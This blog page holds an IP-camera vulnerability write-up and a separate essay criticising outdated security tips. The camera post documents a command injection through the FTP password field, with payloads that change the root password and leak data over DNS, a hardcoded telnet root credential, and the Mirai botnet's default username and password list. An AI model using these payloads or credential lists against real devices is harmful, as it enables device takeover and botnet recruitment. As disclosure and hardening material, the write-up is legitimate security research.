joana&pedro

joana&pedro

The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the most affordable among all others, my expectations regarding security was low. But this camera was still able to surprise me.

Maybe I will disclose the camera model used in my hack in this blog later, but first, I will try to contact someone regarding these issues. Unfortunately, it seems a lot of different cameras have this problem because they share being developed on the same SDK. Again, my expectations are low on this.

The obvious problems

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch its output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course.

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password are sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in

"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong - user.ipcam.hk/user.easyn.hk - and China - op2.easyn.cn/op3.easyn.cn. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud, the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.

PORT     STATE SERVICE    VERSION 23/tcp   open  telnet     BusyBox telnetd 81/tcp   open  http       GoAhead-Webs httpd | http-auth:  | HTTP/1.1 401 Unauthorized |_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81 |_http-methods: No Allow or Public header in OPTIONS response (status code 400) |_http-title: Document Error: Unauthorized 8600/tcp open  tcpwrapped

The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27-page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double-blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately, it was not working at all, I got an invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems that made the exploitation harder. I call this vulnerability double-blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleep was not a real solution.

But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:

$(ping%20-c%202%20%60pwd%60)

or cleaning up after URL decode:

$(ping -c 2 `pwd`)

but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

The following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.

$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name $(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row $(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters $(ping `cat /tmp/c`)           ;leak it via DNS

After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double-blind hack was a bit too much for this automated tool, unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.

$(echo 'root:passwd'|chpasswd)

Now, logging in via telnet

(none) login: root Password:  BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. #

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/ftpupdate.sh /system/system/bin/ftp -n<<! open ftp.site.com 21 user ftpuser $(echo 'root:passwd'|chpasswd) binary mkdir  PSD-111111-REDACT cd PSD-111111-REDACT lcd /tmp put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg close bye

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panic that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

Unfortunately, there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.

It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.

With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising.

My hardening list

I added these lines to the end of /system/init/ipcam.sh:

sleep 15 echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

You can use OpenVPN to connect into your home network and access the web interface of the camera. It works from Android, iOS, and any desktop OS.

My TODO list

Investigate the script /system/system/bin/gmail_thread
Investigate the cloud protocol * - see update 2016 10 27
Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn

A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump.

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr. Robot, you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this.

Update: as you can see in the following screenshot, the bad guys already started to take advantage of this issue ... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html

Update 20161006: The Mirai source code was leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.

root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root (none)
admin password
root root
root 12345
user user
admin (none)
root pass
admin admin1234
root 1111
admin smcadmin
admin 1111
root 666666
root password
root 1234
root klv123
Administrator admin
service service
supervisor supervisor
guest guest
guest 12345
guest 12345
admin1 password
administrator 1234
666666 666666
888888 888888
ubnt ubnt
root klv1234
root Zte521
root hi3518
root jvbzd
root anko
root zlxx.
root 7ujMko0vizxv
root 7ujMko0admin
root system
root ikwb
root dreambox
root user
root realtek
root 00000000
admin 1111111
admin 1234
admin 12345
admin 54321
admin 123456
admin 7ujMko0admin
admin 1234
admin pass
admin meinsm
tech tech
mother fucker

Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.
Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8
Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk

Update 2017-03-08: "Because of code reusing, the vulnerabilities are present in a massive list of cameras (especially the InfoLeak and the RCE),
which allow us to execute root commands against 1250+ camera models with a pre-auth vulnerability. "https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt

Update 2017-05-11: CVE-2017-5674 (see above), and my command injection exploit was combined in the Persirai botnet. 120 000 cameras are expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."
This issue might be worse than the Mirai worm because these effects cameras and other IoT behind NAT where UPnP was enabled.
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

Related links

joana&pedro

From time to time, I get disappointed how much effort and money is put into securing computers, networks, mobile phones, ... and yet in 2016 here we are, where not much has changed on the defensive side. There are many things I personally blame for this situation, and one of them is the security tips.

The goal of these security tips is that if the average user follows these easy to remember rules, their computer will be safe. Unfortunately, by the time people integrate these rules into their daily life, these rules either become outdated, or these rules were so oversimplified that it was never true in the first place. Some of these security tips might sound ridiculous to people in InfoSec nowadays, but this is exactly what people still remember because we told them so for years.

PDF is safe to open

This is an oldie. I think this started at the time of macro viruses. Still, people think opening a PDF from an untrusted source is safer than opening a Word file. For details why this is not true, check: https://www.cvedetails.com/vulnerability-list/vendor_id-53/product_id-497/Adobe-Acrobat-Reader.html

On an unrelated note, people still believe PDF is integrity protected because the content cannot be changed (compared to a Word document).

Image stolen from Kaspersky

Java is secure

One of the best ones. Oracle started marketing Java as a safe language, where buffer overflows, format strings and pointer-based vulnerabilities are gone. Unfortunately, they forgot to tell the world that instead of "unsafe programs developed by others" they installed their unsafe program on 3 billion devices.

Stay away from rogue websites and you will be safe

This is a very common belief I hear from average people. "I only visit some trusted news sites and social media, I never visit those shady sites." I have some bad news. At the time of malvertising and infected websites, you don't have to visit those shady sites anymore to get infected.

Don't use open WiFi

I have a very long explanation of why this makes no sense, see here. Actually, the whole recommendation makes no sense as people will connect to public WiFis, no matter what we (InfoSec) recommend.

The password policy nightmare

Actually, this topic has been covered by myself in two blog posts, see here and here. Long story short: use a password manager and 2-factor authentication wherever possible. Let the password manager choose the password for you. And last but not least, corporate password policy sux.

Sites with a padlock are safe

We tell people for years that the communication with HTTPS sites are safe, and you can be sure it is HTTPS by finding a randomly changing padlock icon somewhere next to the URL. What people hear is that sites with padlocks are safe. Whatever that means. The same goes for WiFi - a network with a padlock is safe.

Use Linux, it is free from malware

For years people told to Windows users that only if they would use Linux they won't have so much malware. Thanks to Android, now everyone in the world can enjoy malware on his/her Linux machine.

OSX is free from malware

It is true that there is significantly less malware on OSX than on Windows, but this is an "economical" question rather than a "security" one. The more people use OSX, the better target it will become. Some people even believe they are safe from phishing because they are using a Mac!

Updated AV + firewall makes me 100% safe

There is no such thing as 100% safe, and unfortunately, nowadays most malware is written for PROFIT, which means it can bypass these basic protections for days (or weeks, months, years). The more proactive protection is built into the product, the better!

How to backup data

Although this is one of the most important security tips which is not followed by people, my problem here is not the backup data advise, but how we as a community failed to provide easy to use ways to do that. Now that crypto-ransomware is a real threat to every Windows (and some OSX) users, even those people who have backups on their NAS can find their backups lost. The only hope is that at least OSX has Time Machine which is not targeted yet, and the only backup solution which really works.

The worst part is that we even created NAS devices which can be infected via worms ...

Disconnect your computer from the Internet when not used

There is no need to comment on this. Whoever recommends things like that, clearly has a problem.

Use (free) VPN to protect your anonimity

First of all. There is no such thing as free service. If it is free, you are the service. On another hand, a non-free VPN can introduce new vulnerablities, and they won't protect your anonymity. It replaces one ISP with another (your VPN provider). Even TOR cannot guarantee anonymity by itself, and VPNs are much worse.

The corporate "security tips" myth

"Luckily" these toxic security tips have infected the enterprise environment as well, not just the home users.

Use robots.txt to hide secret information on public websites

It is 2016 and somehow web developers still believe in this nonsense. And this is why this is usually the first to check on a website for penetration testers or attackers.

My password policy is safer than ever

As previously discussed, passwords are bad. Very bad. And they will stick with us for decades ...

Use WAF, IDS, IPS, Nextgen APT detection hibber-gibber and you will be safe

Companies should invest more in people and less into magic blinking devices.

Instead of shipping computers with bloatware, ship computers with exploit protection software

Teach people how to use a password safe

Teach people how to use 2FA

Teach people how to use common-sense

Conclusion

Computer security is complex, hard and the risks change every year. Is this our fault? Probably. But these kinds of security tips won't help us save the world.